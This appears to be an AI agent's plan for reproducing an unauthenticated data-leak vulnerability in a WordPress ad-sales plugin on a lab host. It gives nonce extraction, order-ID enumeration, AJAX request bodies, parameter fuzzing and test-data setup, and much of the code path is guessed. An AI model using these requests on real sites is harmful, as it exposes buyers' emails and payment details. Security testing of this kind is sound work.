Exploitation Research Plan: CVE-2026-54824 (Quads Ads Manager)

1. Vulnerability Summary

The Quads Ads Manager for Google AdSense plugin (up to 3.0.3) contains a sensitive information exposure vulnerability within its unauthenticated AJAX handler quads_submit_ad_buy_form. A business-logic flaw in this handler allows unauthenticated users to retrieve details of ad purchase orders from the database by providing an order ID. Exposed data includes buyer email addresses, user IDs, payment statuses, and configuration details stored in the quads_adbuy_data table.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: quads_submit_ad_buy_form (Registered via wp_ajax_nopriv_quads_submit_ad_buy_form)
• Vulnerable Parameter: order_id or id (to be verified in handler)
• Authentication: None required (Unauthenticated)
• Preconditions: At least one ad order must exist in the quads_adbuy_data table for data to be leaked.

3. Code Flow

1. Entry Point: The plugin registers the AJAX action:
   add_action('wp_ajax_nopriv_quads_submit_ad_buy_form', 'quads_submit_ad_buy_form_handler') (Inferred registration name).
2. Shortcode: The plugin uses the [quads_buy_form] shortcode (referenced in includes/ad-selling-helper.php) to render the purchase interface.
3. Logic: The handler for quads_submit_ad_buy_form likely accepts an ID to "process" or "update" an order. Due to missing ownership checks, providing an existing ID causes the handler to fetch the record from the {$wpdb->prefix}quads_adbuy_data table and return it to the client (likely to populate the UI or confirm the order).
4. Sink: The data is returned via wp_send_json_success() or echo json_encode().

4. Nonce Acquisition Strategy

The AJAX handler likely requires a nonce for validation, usually localized when the [quads_buy_form] shortcode is rendered.

1. Identify the Page: The plugin automatically creates a page with the slug buy-adspace containing the [quads_buy_form] shortcode (see quads_create_sellpage_on_activation).
2. Access the Page: Navigate to http://vulnerable-wp.local/buy-adspace/.
3. Extract Nonce: The nonce is typically found in a localized JavaScript object.
   • Possible Variable Name: quads_ajax_object or quads_buy_form_vars.
   • Likely Key: nonce or security.
4. Tool Command:

   // Use browser_eval to find the nonce
   browser_eval("window.quads_ajax_object?.nonce || window.quads_buy_form_vars?.security")
   

5. Exploitation Strategy

Step 1: Discover Order IDs

Ad order IDs are typically auto-incrementing integers. An attacker can iterate through small integers (1, 2, 3...) to find valid records.

Step 2: Perform the Leak

Submit a POST request to admin-ajax.php using the http_request tool.

Request Details:

• URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=quads_submit_ad_buy_form&order_id=1&security=[EXTRACTED_NONCE]
  

  (Note: If order_id doesn't work, try id or refId as seen in quads_authorize_payment_success).

Step 3: Parse Response

A successful exploit will return a JSON object containing database fields from the quads_adbuy_data table.

6. Test Data Setup

To verify the leak, we must ensure data exists to be leaked:

1. Activate the Plugin: Ensure Quads Ads Manager <= 3.0.3 is active.
2. Create a Sellable Ad Slot:

   wp post create --post_type=quads_ad_slot --post_title="Premium Banner" --post_status=publish
   # (Inferred post type, if different, find via wp post-type list)
   

3. Simulate an Order: Manually insert a record into the custom table (if WP-CLI database access is available) or use the UI to start a purchase:

   wp db query "INSERT INTO wp_quads_adbuy_data (user_id, payment_status, start_date, end_date) VALUES (1, 'pending', '2026-01-01', '2026-01-31')"
   

4. Check the Slug: Confirm the buy-adspace page exists:

   wp post list --name='buy-adspace' --post_type=page
   

7. Expected Results

The HTTP response should be a 200 OK with a JSON body similar to:

{
    "success": true,
    "data": {
        "id": "1",
        "user_id": "1",
        "payment_status": "pending",
        "start_date": "2026-01-01",
        "end_date": "2026-01-31",
        "ad_details": "...",
        "user_email": "admin@example.com"
    }
}

Exposure of user_email or payment_response (containing transaction details) confirms the vulnerability.

8. Verification Steps

1. Verify via Database: Compare the leaked JSON data with the actual database entry:

   wp db query "SELECT * FROM wp_quads_adbuy_data WHERE id = 1" --format=json
   

2. Confirm Non-Ownership: Ensure the exploit works when unauthenticated (no session cookies in the http_request tool).

9. Alternative Approaches

• Parameter Fuzzing: If order_id is not the correct key, fuzz the AJAX handler with id, order, ad_id, or refId.
• Shortcode Extraction: If the buy-adspace page is not auto-created, create one manually:
  wp post create --post_type=page --post_content='[quads_buy_form]' --post_status=publish
• Error-Based Leak: If the response doesn't return the full object, try providing a malformed ID to see if the resulting SQL error or PHP warning leaks table names or configuration paths.